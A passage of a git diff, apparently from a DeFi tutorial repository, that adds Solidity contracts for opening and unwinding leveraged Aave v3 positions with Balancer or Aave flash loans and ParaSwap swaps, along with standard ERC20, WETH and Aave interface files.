+
+            if (isFlashUnwind) {
+                uint256 swapedBorrowAssetBalance = IERC20(borrowAsset).balanceOf(address(this));
+                IERC20(borrowAsset).approve(ADDRESSES_PROVIDER.getPool(), swapedBorrowAssetBalance);
+                _lendingPool.repay(borrowAsset, swapedBorrowAssetBalance, interestRateMode, apeAddress);
+
+                DataTypes.ReserveData memory reserve = getAaveAssetReserveData(apeAsset);
+                IERC20 _aToken = IERC20(reserve.aTokenAddress);
+                // transfer the aTokens to aaveApe, then withdraw the apeAsset from Aave
+                _aToken.transferFrom(apeAddress, address(this), repayAmount);
+                
+                // withdraw all aToken
+                _lendingPool.withdraw(apeAsset, repayAmount, address(this));
+
+                //flash swap repay
+                IERC20(apeAsset).transfer(msg.sender, repayAmount);
+            } else {
+                uint256 swapedApeAssetBalance = IERC20(apeAsset).balanceOf(address(this));
+                IERC20(apeAsset).approve(ADDRESSES_PROVIDER.getPool(), swapedApeAssetBalance);
+
+                _lendingPool.supply(apeAsset, swapedApeAssetBalance, apeAddress, 0);
+
+                // Borrow from Aave
+                _lendingPool.borrow(borrowAsset, repayAmount, interestRateMode, 0, apeAddress);
+                
+                IERC20(borrowAsset).transfer(msg.sender, repayAmount);
+                // console.log("repay");
+            }
+        }
+    }
+}
diff --git a/basic/21-aave-uni-loan/contracts/AaveApePlusV2.sol b/basic/21-aave-uni-loan/contracts/AaveApePlusV2.sol
new file mode 100644
index 000000000..790d6d280
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/AaveApePlusV2.sol
@@ -0,0 +1,281 @@
+// SPDX-License-Identifier: agpl-3.0
+pragma solidity ^0.8.0;
+
+import './interfaces/paraswap/IParaSwapAugustus.sol';
+import './interfaces/paraswap/IParaSwapAugustusRegistry.sol';
+import "./interfaces/balancer-v2/IVault.sol";
+import "./interfaces/balancer-v2/IFlashLoanRecipient.sol";
+import "./interfaces/aave-v3/IPool.sol";
+import "./interfaces/aave-v3/IPoolAddressesProvider.sol";
+import "./interfaces/aave-v3/IPoolDataProvider.sol";
+import "./interfaces/aave-v3/IPriceOracleGetter.sol";
+import './interfaces/aave-v3/IAToken.sol';
+import './interfaces/IERC20.sol';
+import './libraries/DataTypes.sol';
+import './libraries/ReserveConfiguration.sol';
+// import 'hardhat/console.sol';
+
+contract AaveApePlusV2 is IFlashLoanRecipient {
+
+    event Ape(address ape, string action, address apeAsset, address borrowAsset, uint256 borrowAmount, uint256 interestRateMode);
+
+    IVault private constant vault = IVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8); // const value for all chains
+
+    struct ParaSwapData {
+        address augustus;
+        address srcAsset;
+        address destAsset;
+        uint256 srcAmount;
+        bytes swapCallData;
+    }
+    
+    IParaSwapAugustusRegistry public immutable AUGUSTUS_REGISTRY;
+    IPoolAddressesProvider public immutable ADDRESSES_PROVIDER;
+
+    constructor(
+        address lendingPoolAddressesProviderAddress,
+        IParaSwapAugustusRegistry augustusRegistry
+    ) {
+        require(!augustusRegistry.isValidAugustus(address(0)), 'Not a valid Augustus address');
+        AUGUSTUS_REGISTRY = augustusRegistry;
+        ADDRESSES_PROVIDER = IPoolAddressesProvider(lendingPoolAddressesProviderAddress);
+    }
+
+    function LENDING_POOL() public view returns (IPool) {
+        address _lendingPoolAddress = ADDRESSES_PROVIDER.getPool();
+        return IPool(_lendingPoolAddress);
+    }
+
+    function getPriceOracle() internal view returns (IPriceOracleGetter) {
+        address _priceOracleAddress = ADDRESSES_PROVIDER.getPriceOracle();
+        return IPriceOracleGetter(_priceOracleAddress);
+    }
+
+    function getProtocolDataProvider() internal view returns (IPoolDataProvider)  {
+        return IPoolDataProvider(ADDRESSES_PROVIDER.getPoolDataProvider());
+    }
+
+    function getAaveAssetReserveData(address asset) public view returns (DataTypes.ReserveData memory) {
+        return LENDING_POOL().getReserveData(asset);
+    }
+    
+    function getMaxCollateralAmount(address apeAsset, address borrowAsset, uint256 borrowAmount) internal view returns (uint256) {
+
+        (uint256 borrowAssetDecimals, , , , , , , , , ) = getProtocolDataProvider().getReserveConfigurationData(borrowAsset);
+        uint256 borrowAmountBase =  borrowAmount/ 10 ** borrowAssetDecimals * getPriceOracle().getAssetPrice(borrowAsset);
+
+        uint256 assetAmount = getAssetAmount(apeAsset, borrowAmountBase);
+        uint256 maxAmount = assetAmount * 103 / 100;
+        return  maxAmount;
+    }
+
+    // return asset amount with its decimals
+    function getAssetAmount(address asset, uint256 amountIn) public view returns (uint256) {
+        //All V3 markets use USD based oracles which return values with 8 decimals.
+        uint256 assetPrice = getPriceOracle().getAssetPrice(asset); 
+        (uint256 decimals, , , , , , , , , ) = getProtocolDataProvider().getReserveConfigurationData(asset);
+        uint256 assetAmount = amountIn * 10**decimals / assetPrice;
+        return assetAmount;
+    }
+
+    // lever up your position
+    function flashApe(address apeAsset, address borrowAsset, uint256 borrowAmount,uint256 interestRateMode, ParaSwapData memory psp) external returns (bool) {
+        require(borrowAmount > 0, "borrow amount should be greater than 0");
+        require(interestRateMode == 1 || interestRateMode == 2, "interestRateMode must be 1 for stable rate or 2 for variable rate");
+
+        bytes memory params = abi.encode(
+            psp,
+            apeAsset,
+            borrowAsset,
+            interestRateMode,
+            msg.sender,
+            false
+        );
+
+        _flashLoan(borrowAsset, borrowAmount, params);
+
+        (, , , , , uint256 newHealthFactor) = LENDING_POOL().getUserAccountData(msg.sender);
+        require(newHealthFactor > 1e18, "health factor < 1 !");
+
+        emit Ape(msg.sender, 'flashApe', apeAsset, borrowAsset, borrowAmount, interestRateMode);
+        return true;
+    }
+
+    function flashUnwind(address apeAsset, address borrowAsset, uint256 borrowAmountToRepay, uint256 interestRateMode, ParaSwapData memory psp) public {
+        require(borrowAmountToRepay > 0, "repay amount should be greater than 0");
+        require(interestRateMode == 1 || interestRateMode == 2, "interestRateMode must be 1 for stable rate or 2 for variable rate");
+
+        (uint256 apeAssetAToken, , , , , , , ,bool assetAsCollateral) = getProtocolDataProvider().getUserReserveData(apeAsset, msg.sender);
+
+        require(apeAssetAToken > 0, "ape asset balance is 0");
+        require(assetAsCollateral, "ape asset is not collateral");
+        
+
+        (, uint256 stableDebt, uint256 variableDebt, , , , , , ) = getProtocolDataProvider().getUserReserveData(borrowAsset, msg.sender);
+        uint256 debtAmount = stableDebt;
+        if (interestRateMode == 2) {
+            debtAmount = variableDebt;
+        }
+        require(borrowAmountToRepay <= debtAmount, "repay amount is greater than debt amount");
+
+        bytes memory params = abi.encode(
+            psp,
+            apeAsset,
+            borrowAsset,
+            interestRateMode,
+            msg.sender,
+            true
+        );
+
+        _flashLoan(borrowAsset, borrowAmountToRepay, params);
+
+        emit Ape(msg.sender, 'flashUnwind', apeAsset, borrowAsset, borrowAmountToRepay, interestRateMode);
+    }
+
+    function _checkVaultLiquidity(address flashToken, uint256 amount) internal view returns (bool) {
+        return IERC20(flashToken).balanceOf(address(vault)) >= amount;
+    }
+
+    function _flashLoan(address asset, uint256 amount, bytes memory params) internal {
+        if (_checkVaultLiquidity(asset, amount)) {
+            // balancer vault flashloan
+            IERC20[] memory flashLoanAssets = new IERC20[](1);
+            flashLoanAssets[0] = IERC20(asset);
+            uint256[] memory flashLoanAmounts = new uint256[](1);
+            flashLoanAmounts[0] = amount;
+            vault.flashLoan(this, flashLoanAssets, flashLoanAmounts, params);
+        } else {
+            // aave flashloan
+            address[] memory flashLoanAssets = new address[](1);
+            flashLoanAssets[0] = asset;
+            uint256[] memory flashLoanAmounts = new uint256[](1);
+            flashLoanAmounts[0] = amount;
+            uint256[] memory modes = new uint256[](1);
+            modes[0] = 0;
+
+            address onBehalfOf = address(this);
+            uint16 referralCode = 0;
+
+            LENDING_POOL().flashLoan(address(this), flashLoanAssets, flashLoanAmounts, modes, onBehalfOf, params, referralCode);
+        }
+    }
+
+
+    function _paraSwap(ParaSwapData memory psp) internal returns (bool) {
+        IParaSwapAugustus augustus = IParaSwapAugustus(psp.augustus);
+
+        require(AUGUSTUS_REGISTRY.isValidAugustus(address(augustus)), 'INVALID_AUGUSTUS');
+
+        IERC20 assetToSwapFrom = IERC20(psp.srcAsset);
+        address tokenTransferProxy = augustus.getTokenTransferProxy();
+        assetToSwapFrom.approve(tokenTransferProxy, psp.srcAmount);
+
+        (bool success, ) = address(augustus).call(psp.swapCallData);
+        if (!success) {
+            // Copy revert reason from call
+            assembly {
+                returndatacopy(0, 0, returndatasize())
+                revert(0, returndatasize())
+            }
+        }
+
+        return success;
+    }
+    
+    function executeOperation(
+        address[] calldata assets,
+        uint256[] calldata amounts,
+        uint256[] calldata premiums,
+        address initiator,
+        bytes calldata params
+    ) external returns (bool) {
+        require(msg.sender == ADDRESSES_PROVIDER.getPool(), 'only the lending pool can call this function');
+        require(initiator == address(this), 'the ape did not initiate this flashloan');
+
+        uint256 repayAmount = amounts[0] + premiums[0];
+        _runApe(repayAmount, params, false);
+
+        return true;
+    }
+
+    function receiveFlashLoan(
+        IERC20[] memory tokens,
+        uint256[] memory amounts,
+        uint256[] memory feeAmounts,
+        bytes memory userData
+    ) external override {
+        require(msg.sender == address(vault), 'caller is not the vault');
+        
+        uint256 repayAmount = amounts[0] + feeAmounts[0];
+        _runApe(repayAmount, userData, true);
+    }
+
+    function _runApe(uint256 repayAmount, bytes memory userData, bool isVaultFlash) internal returns (bool){
+        (
+            ParaSwapData memory psp,
+            address apeAsset,
+            address borrowAsset,
+            uint256 interestRateMode,
+            address apeAddress,
+            bool isFlashUnwind
+        ) = abi.decode(userData, (ParaSwapData, address, address, uint256, address, bool));
+        
+        IPool _lendingPool = LENDING_POOL();
+        address _lendingPoolAdress = ADDRESSES_PROVIDER.getPool();
+
+        if (isFlashUnwind) {
+            uint256 borrowAssetBalance = IERC20(borrowAsset).balanceOf(address(this));
+
+            //aave repay minus fee guarantee flash loan repay amount
+            uint256 feeAmount = repayAmount - borrowAssetBalance;
+            uint256 repayToPool = borrowAssetBalance - feeAmount;
+
+            IERC20(borrowAsset).approve(_lendingPoolAdress, repayToPool); 
+            _lendingPool.repay(borrowAsset, repayToPool, interestRateMode, apeAddress);
+
+            uint256 maxCollateralAmount =  getMaxCollateralAmount(apeAsset, borrowAsset, borrowAssetBalance);
+
+            DataTypes.ReserveData memory reserve = getAaveAssetReserveData(apeAsset);
+            IERC20 _aToken = IERC20(reserve.aTokenAddress);
+
+            if (_aToken.balanceOf(apeAddress) < maxCollateralAmount) {
+                maxCollateralAmount = _aToken.balanceOf(apeAddress);
+            }
+            // transfer the aTokens to this address, then withdraw the Tokens from Aave
+            _aToken.transferFrom(apeAddress, address(this), maxCollateralAmount);
+
+            _lendingPool.withdraw(apeAsset, maxCollateralAmount, address(this));
+
+            _paraSwap(psp);
+
+            uint256 apeAssetBalance = IERC20(apeAsset).balanceOf(address(this));
+            if (apeAssetBalance > 0) {
+                IERC20(apeAsset).approve(_lendingPoolAdress, apeAssetBalance);
+                _lendingPool.supply(apeAsset, apeAssetBalance, apeAddress, 0);
+            }
+
+            if (isVaultFlash) {
+                IERC20(borrowAsset).transfer(msg.sender, repayAmount);
+            } else {
+                IERC20(borrowAsset).approve(_lendingPoolAdress, repayAmount);
+            }
+        } else {
+            // Swap flashLoanAmount to apeAsset  DAI - > ETH
+            _paraSwap(psp);
+
+            uint256 apeAssetBalance = IERC20(apeAsset).balanceOf(address(this));
+            IERC20(apeAsset).approve(_lendingPoolAdress, apeAssetBalance);
+            _lendingPool.supply(apeAsset, apeAssetBalance, apeAddress, 0);
+
+            // Borrow from Aave
+            _lendingPool.borrow(borrowAsset, repayAmount, interestRateMode, 0, apeAddress);
+            if (isVaultFlash) {
+                IERC20(borrowAsset).transfer(msg.sender, repayAmount);
+            } else {
+                IERC20(borrowAsset).approve(_lendingPoolAdress, repayAmount);
+            }
+        }
+
+        return true;
+    }
+}
diff --git a/basic/21-aave-uni-loan/contracts/AaveUniswapBase.sol b/basic/21-aave-uni-loan/contracts/AaveUniswapBase.sol
new file mode 100644
index 000000000..9a8374dbc
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/AaveUniswapBase.sol
@@ -0,0 +1,45 @@
+// SPDX-License-Identifier: agpl-3.0
+pragma solidity ^0.8.0;
+
+import {IERC20} from './interfaces/IERC20.sol';
+import {SafeMath} from './libraries/SafeMath.sol';
+import "./interfaces/aave-v3/IPool.sol";
+import "./interfaces/aave-v3/IPoolAddressesProvider.sol";
+import "./interfaces/aave-v3/IPoolDataProvider.sol";
+import "./interfaces/aave-v3/IPriceOracleGetter.sol";
+import "./interfaces/uniswap-v3/ISwapRouter.sol";
+import { DataTypes } from './libraries/DataTypes.sol';
+
+contract AaveUniswapBase {
+
+  IPoolAddressesProvider public immutable ADDRESSES_PROVIDER;
+  ISwapRouter public immutable UNISWAP_ROUTER;
+  address public immutable UNISWAP_ROUTER_ADDRESS;
+
+  // bytes32 public constant PROTOCOL_DATA_PROVIDER_LOOKUP = 0x0100000000000000000000000000000000000000000000000000000000000000;
+
+  constructor(address lendingPoolAddressesProviderAddress, address uniswapRouterAddress) {
+    ADDRESSES_PROVIDER = IPoolAddressesProvider(lendingPoolAddressesProviderAddress);
+    UNISWAP_ROUTER = ISwapRouter(uniswapRouterAddress);
+    UNISWAP_ROUTER_ADDRESS = uniswapRouterAddress;
+  }
+
+  // address public immutable _lendingPoolAddress =0xE0fBa4Fc209b4948668006B2bE61711b7f465bAe; 
+  function LENDING_POOL() public view returns (IPool) {
+    address _lendingPoolAddress = ADDRESSES_PROVIDER.getPool();
+    return IPool(_lendingPoolAddress);
+  }
+
+  function getPriceOracle() internal view returns (IPriceOracleGetter) {
+    address _priceOracleAddress = ADDRESSES_PROVIDER.getPriceOracle();
+    return IPriceOracleGetter(_priceOracleAddress);
+  }
+
+  function getProtocolDataProvider() internal view returns (IPoolDataProvider)  {
+    return IPoolDataProvider(ADDRESSES_PROVIDER.getPoolDataProvider());
+  }
+
+  function getAaveAssetReserveData(address asset) public view returns (DataTypes.ReserveData memory) {
+    return LENDING_POOL().getReserveData(asset);
+  }
+}
diff --git a/basic/21-aave-uni-loan/contracts/interfaces/IERC20.sol b/basic/21-aave-uni-loan/contracts/interfaces/IERC20.sol
new file mode 100644
index 000000000..0022d0988
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/interfaces/IERC20.sol
@@ -0,0 +1,77 @@
+// SPDX-License-Identifier: AGPL-3.0
+pragma solidity ^0.8.0;
+
+
+/**
+ * @dev Interface of the ERC20 standard as defined in the EIP.
+ */
+interface IERC20 {
+  /**
+   * @dev Returns the amount of tokens in existence.
+   */
+  function totalSupply() external view returns (uint256);
+
+  /**
+   * @dev Returns the amount of tokens owned by `account`.
+   */
+  function balanceOf(address account) external view returns (uint256);
+
+  /**
+   * @dev Moves `amount` tokens from the caller's account to `recipient`.
+   *
+   * Returns a boolean value indicating whether the operation succeeded.
+   *
+   * Emits a {Transfer} event.
+   */
+  function transfer(address recipient, uint256 amount) external returns (bool);
+
+  /**
+   * @dev Returns the remaining number of tokens that `spender` will be
+   * allowed to spend on behalf of `owner` through {transferFrom}. This is
+   * zero by default.
+   *
+   * This value changes when {approve} or {transferFrom} are called.
+   */
+  function allowance(address owner, address spender) external view returns (uint256);
+
+  /**
+   * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
+   *
+   * Returns a boolean value indicating whether the operation succeeded.
+   *
+   * IMPORTANT: Beware that changing an allowance with this method brings the risk
+   * that someone may use both the old and the new allowance by unfortunate
+   * transaction ordering. One possible solution to mitigate this race
+   * condition is to first reduce the spender's allowance to 0 and set the
+   * desired value afterwards:
+   * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
+   *
+   * Emits an {Approval} event.
+   */
+  function approve(address spender, uint256 amount) external returns (bool);
+
+  /**
+   * @dev Moves `amount` tokens from `sender` to `recipient` using the
+   * allowance mechanism. `amount` is then deducted from the caller's
+   * allowance.
+   *
+   * Returns a boolean value indicating whether the operation succeeded.
+   *
+   * Emits a {Transfer} event.
+   */
+  function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
+
+  /**
+   * @dev Emitted when `value` tokens are moved from one account (`from`) to
+   * another (`to`).
+   *
+   * Note that `value` may be zero.
+   */
+  event Transfer(address indexed from, address indexed to, uint256 value);
+
+  /**
+   * @dev Emitted when the allowance of a `spender` for an `owner` is set by
+   * a call to {approve}. `value` is the new allowance.
+   */
+  event Approval(address indexed owner, address indexed spender, uint256 value);
+}
diff --git a/basic/21-aave-uni-loan/contracts/interfaces/IWETH.sol b/basic/21-aave-uni-loan/contracts/interfaces/IWETH.sol
new file mode 100644
index 000000000..8241e563f
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/interfaces/IWETH.sol
@@ -0,0 +1,13 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+pragma solidity ^0.8.0;
+
+/// @title Interface for WETH9
+interface IWETH {
+    /// @notice Deposit ether to get wrapped ether
+    function deposit() external payable;
+
+    /// @notice Withdraw wrapped ether to get ether
+    function withdraw(uint256) external;
+
+    function approve(address spender, uint256 amount) external returns (bool);
+}
diff --git a/basic/21-aave-uni-loan/contracts/interfaces/IWrappedTokenGatewayV3.sol b/basic/21-aave-uni-loan/contracts/interfaces/IWrappedTokenGatewayV3.sol
new file mode 100644
index 000000000..601fc3223
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/interfaces/IWrappedTokenGatewayV3.sol
@@ -0,0 +1,32 @@
+// SPDX-License-Identifier: AGPL-3.0
+pragma solidity ^0.8.10;
+
+interface IWrappedTokenGatewayV3 {
+  function depositETH(address pool, address onBehalfOf, uint16 referralCode) external payable;
+
+  function withdrawETH(address pool, uint256 amount, address onBehalfOf) external;
+
+  function repayETH(
+    address pool,
+    uint256 amount,
+    uint256 rateMode,
+    address onBehalfOf
+  ) external payable;
+
+  function borrowETH(
+    address pool,
+    uint256 amount,
+    uint256 interestRateMode,
+    uint16 referralCode
+  ) external;
+
+  function withdrawETHWithPermit(
+    address pool,
+    uint256 amount,
+    address to,
+    uint256 deadline,
+    uint8 permitV,
+    bytes32 permitR,
+    bytes32 permitS
+  ) external;
+}
\ No newline at end of file
diff --git a/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IAToken.sol b/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IAToken.sol
new file mode 100644
index 000000000..8d9b1a033
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IAToken.sol
@@ -0,0 +1,138 @@
+// SPDX-License-Identifier: AGPL-3.0
+pragma solidity ^0.8.0;
+
+import {IERC20} from '../IERC20.sol';
+import {IScaledBalanceToken} from './IScaledBalanceToken.sol';
+import {IInitializableAToken} from './IInitializableAToken.sol';
+
+/**
+ * @title IAToken
+ * @author Aave
+ * @notice Defines the basic interface for an AToken.
+ */
+interface IAToken is IERC20, IScaledBalanceToken, IInitializableAToken {
+  /**
+   * @dev Emitted during the transfer action
+   * @param from The user whose tokens are being transferred
+   * @param to The recipient
+   * @param value The scaled amount being transferred
+   * @param index The next liquidity index of the reserve
+   */
+  event BalanceTransfer(address indexed from, address indexed to, uint256 value, uint256 index);
+
+  /**
+   * @notice Mints `amount` aTokens to `user`
+   * @param caller The address performing the mint
+   * @param onBehalfOf The address of the user that will receive the minted aTokens
+   * @param amount The amount of tokens getting minted
+   * @param index The next liquidity index of the reserve
+   * @return `true` if the previous balance of the user was 0
+   */
+  function mint(
+    address caller,
+    address onBehalfOf,
+    uint256 amount,
+    uint256 index
+  ) external returns (bool);
+
+  /**
+   * @notice Burns aTokens from `user` and sends the equivalent amount of underlying to `receiverOfUnderlying`
+   * @dev In some instances, the mint event could be emitted from a burn transaction
+   * if the amount to burn is less than the interest that the user accrued
+   * @param from The address from which the aTokens will be burned
+   * @param receiverOfUnderlying The address that will receive the underlying
+   * @param amount The amount being burned
+   * @param index The next liquidity index of the reserve
+   */
+  function burn(address from, address receiverOfUnderlying, uint256 amount, uint256 index) external;
+
+  /**
+   * @notice Mints aTokens to the reserve treasury
+   * @param amount The amount of tokens getting minted
+   * @param index The next liquidity index of the reserve
+   */
+  function mintToTreasury(uint256 amount, uint256 index) external;
+
+  /**
+   * @notice Transfers aTokens in the event of a borrow being liquidated, in case the liquidators reclaims the aToken
+   * @param from The address getting liquidated, current owner of the aTokens
+   * @param to The recipient
+   * @param value The amount of tokens getting transferred
+   */
+  function transferOnLiquidation(address from, address to, uint256 value) external;
+
+  /**
+   * @notice Transfers the underlying asset to `target`.
+   * @dev Used by the Pool to transfer assets in borrow(), withdraw() and flashLoan()
+   * @param target The recipient of the underlying
+   * @param amount The amount getting transferred
+   */
+  function transferUnderlyingTo(address target, uint256 amount) external;
+
+  /**
+   * @notice Handles the underlying received by the aToken after the transfer has been completed.
+   * @dev The default implementation is empty as with standard ERC20 tokens, nothing needs to be done after the
+   * transfer is concluded. However in the future there may be aTokens that allow for example to stake the underlying
+   * to receive LM rewards. In that case, `handleRepayment()` would perform the staking of the underlying asset.
+   * @param user The user executing the repayment
+   * @param onBehalfOf The address of the user who will get his debt reduced/removed
+   * @param amount The amount getting repaid
+   */
+  function handleRepayment(address user, address onBehalfOf, uint256 amount) external;
+
+  /**
+   * @notice Allow passing a signed message to approve spending
+   * @dev implements the permit function as for
+   * https://github.com/ethereum/EIPs/blob/8a34d644aacf0f9f8f00815307fd7dd5da07655f/EIPS/eip-2612.md
+   * @param owner The owner of the funds
+   * @param spender The spender
+   * @param value The amount
+   * @param deadline The deadline timestamp, type(uint256).max for max deadline
+   * @param v Signature param
+   * @param s Signature param
+   * @param r Signature param
+   */
+  function permit(
+    address owner,
+    address spender,
+    uint256 value,
+    uint256 deadline,
+    uint8 v,
+    bytes32 r,
+    bytes32 s
+  ) external;
+
+  /**
+   * @notice Returns the address of the underlying asset of this aToken (E.g. WETH for aWETH)
+   * @return The address of the underlying asset
+   */
+  function UNDERLYING_ASSET_ADDRESS() external view returns (address);
+
+  /**
+   * @notice Returns the address of the Aave treasury, receiving the fees on this aToken.
+   * @return Address of the Aave treasury
+   */
+  function RESERVE_TREASURY_ADDRESS() external view returns (address);
+
+  /**
+   * @notice Get the domain separator for the token
+   * @dev Return cached value if chainId matches cache, otherwise recomputes separator
+   * @return The domain separator of the token at current chain
+   */
+  function DOMAIN_SEPARATOR() external view returns (bytes32);
+
+  /**
+   * @notice Returns the nonce for owner.
+   * @param owner The address of the owner
+   * @return The nonce of the owner
+   */
+  function nonces(address owner) external view returns (uint256);
+
+  /**
+   * @notice Rescue and transfer tokens locked in this contract
+   * @param token The address of the token
+   * @param to The address of the recipient
+   * @param amount The amount of token to transfer
+   */
+  function rescueTokens(address token, address to, uint256 amount) external;
+}
diff --git a/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IAaveIncentivesController.sol b/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IAaveIncentivesController.sol
new file mode 100644
index 000000000..c06c605a9
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IAaveIncentivesController.sol
@@ -0,0 +1,19 @@
+// SPDX-License-Identifier: AGPL-3.0
+pragma solidity ^0.8.0;
+
+/**
+ * @title IAaveIncentivesController
+ * @author Aave
+ * @notice Defines the basic interface for an Aave Incentives Controller.
+ * @dev It only contains one single function, needed as a hook on aToken and debtToken transfers.
+ */
+interface IAaveIncentivesController {
+  /**
+   * @dev Called by the corresponding asset on transfer hook in order to update the rewards distribution.
+   * @dev The units of `totalSupply` and `userBalance` should be the same.
+   * @param user The address of the user whose asset balance has changed
+   * @param totalSupply The total supply of the asset prior to user balance change
+   * @param userBalance The previous user balance prior to balance change
+   */
+  function handleAction(address user, uint256 totalSupply, uint256 userBalance) external;
+}
diff --git a/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IInitializableAToken.sol b/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IInitializableAToken.sol
new file mode 100644
index 000000000..0b16baa82
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IInitializableAToken.sol
@@ -0,0 +1,56 @@
+// SPDX-License-Identifier: AGPL-3.0
+pragma solidity ^0.8.0;
+
+import {IAaveIncentivesController} from './IAaveIncentivesController.sol';
+import {IPool} from './IPool.sol';
+
+/**
+ * @title IInitializableAToken
+ * @author Aave
+ * @notice Interface for the initialize function on AToken
+ */
+interface IInitializableAToken {
+  /**
+   * @dev Emitted when an aToken is initialized
+   * @param underlyingAsset The address of the underlying asset
+   * @param pool The address of the associated pool
+   * @param treasury The address of the treasury
+   * @param incentivesController The address of the incentives controller for this aToken
+   * @param aTokenDecimals The decimals of the underlying
+   * @param aTokenName The name of the aToken
+   * @param aTokenSymbol The symbol of the aToken
+   * @param params A set of encoded parameters for additional initialization
+   */
+  event Initialized(
+    address indexed underlyingAsset,
+    address indexed pool,
+    address treasury,
+    address incentivesController,
+    uint8 aTokenDecimals,
+    string aTokenName,
+    string aTokenSymbol,
+    bytes params
+  );
+
+  /**
+   * @notice Initializes the aToken
+   * @param pool The pool contract that is initializing this contract
+   * @param treasury The address of the Aave treasury, receiving the fees on this aToken
+   * @param underlyingAsset The address of the underlying asset of this aToken (E.g. WETH for aWETH)
+   * @param incentivesController The smart contract managing potential incentives distribution
+   * @param aTokenDecimals The decimals of the aToken, same as the underlying asset's
+   * @param aTokenName The name of the aToken
+   * @param aTokenSymbol The symbol of the aToken
+   * @param params A set of encoded parameters for additional initialization
+   */
+  function initialize(
+    IPool pool,
+    address treasury,
+    address underlyingAsset,
+    IAaveIncentivesController incentivesController,
+    uint8 aTokenDecimals,
+    string calldata aTokenName,
+    string calldata aTokenSymbol,
+    bytes calldata params
+  ) external;
+}
diff --git a/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IInitializableDebtToken.sol b/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IInitializableDebtToken.sol
new file mode 100644
index 000000000..e4c7d6c3d
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IInitializableDebtToken.sol
@@ -0,0 +1,68 @@
+// SPDX-License-Identifier: AGPL-3.0
+pragma solidity ^0.8.0;
+
+import {IAaveIncentivesController} from './IAaveIncentivesController.sol';
+import {IPool} from './IPool.sol';
+
+/**
+ * @title IInitializableDebtToken
+ * @author Aave
+ * @notice Interface for the initialize function common between debt tokens
+ */
+interface IInitializableDebtToken {
+  /**
+   * @dev Emitted when a debt token is initialized
+   * @param underlyingAsset The address of the underlying asset
+   * @param pool The address of the associated pool
+   * @param incentivesController The address of the incentives controller for this aToken
+   * @param debtTokenDecimals The decimals of the debt token
+   * @param debtTokenName The name of the debt token
+   * @param debtTokenSymbol The symbol of the debt token
+   * @param params A set of encoded parameters for additional initialization
+   */
+  event Initialized(
+    address indexed underlyingAsset,
+    address indexed pool,
+    address incentivesController,
+    uint8 debtTokenDecimals,
+    string debtTokenName,
+    string debtTokenSymbol,
+    bytes params
+  );
+
+  /**
+   * @notice Initializes the debt token.
+   * @param pool The pool contract that is initializing this contract
+   * @param underlyingAsset The address of the underlying asset of this aToken (E.g. WETH for aWETH)
+   * @param incentivesController The smart contract managing potential incentives distribution
+   * @param debtTokenDecimals The decimals of the debtToken, same as the underlying asset's
+   * @param debtTokenName The name of the token
+   * @param debtTokenSymbol The symbol of the token
+   * @param params A set of encoded parameters for additional initialization
+   */
+  function initialize(
+    IPool pool,
+    address underlyingAsset,
+    IAaveIncentivesController incentivesController,
+    uint8 debtTokenDecimals,
+    string memory debtTokenName,
+    string memory debtTokenSymbol,
+    bytes calldata params
+  ) external;
+
+
+
+  /**
+   * @notice Delegates borrowing power to a user on the specific debt token.
+   * Delegation will still respect the liquidation constraints (even if delegated, a
+   * delegatee cannot force a delegator HF to go below 1)
+   * @param delegatee The address receiving the delegated borrowing power
+   * @param amount The maximum amount being delegated.
+   */
+  function approveDelegation(address delegatee, uint256 amount) external;
+
+  /**
+   * @dev Returns the amount of tokens owned by `account`.
+   */
+  function balanceOf(address account) external view returns (uint256);
+}
diff --git a/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IPool.sol b/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IPool.sol
new file mode 100644
index 000000000..074a7f9dd
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IPool.sol
@@ -0,0 +1,737 @@
+// SPDX-License-Identifier: AGPL-3.0
+pragma solidity ^0.8.0;
+
+import {IPoolAddressesProvider} from './IPoolAddressesProvider.sol';
+import {DataTypes} from '../../libraries/DataTypes.sol';
+
+/**
+ * @title IPool
+ * @author Aave
+ * @notice Defines the basic interface for an Aave Pool.
+ */
+interface IPool {
+  /**
+   * @dev Emitted on mintUnbacked()
+   * @param reserve The address of the underlying asset of the reserve
+   * @param user The address initiating the supply
+   * @param onBehalfOf The beneficiary of the supplied assets, receiving the aTokens
+   * @param amount The amount of supplied assets
+   * @param referralCode The referral code used
+   */
+  event MintUnbacked(
+    address indexed reserve,
+    address user,
+    address indexed onBehalfOf,
+    uint256 amount,
+    uint16 indexed referralCode
+  );
+
+  /**
+   * @dev Emitted on backUnbacked()
+   * @param reserve The address of the underlying asset of the reserve
+   * @param backer The address paying for the backing
+   * @param amount The amount added as backing
+   * @param fee The amount paid in fees
+   */
+  event BackUnbacked(address indexed reserve, address indexed backer, uint256 amount, uint256 fee);
+
+  /**
+   * @dev Emitted on supply()
+   * @param reserve The address of the underlying asset of the reserve
+   * @param user The address initiating the supply
+   * @param onBehalfOf The beneficiary of the supply, receiving the aTokens
+   * @param amount The amount supplied
+   * @param referralCode The referral code used
+   */
+  event Supply(
+    address indexed reserve,
+    address user,
+    address indexed onBehalfOf,
+    uint256 amount,
+    uint16 indexed referralCode
+  );
+
+  /**
+   * @dev Emitted on withdraw()
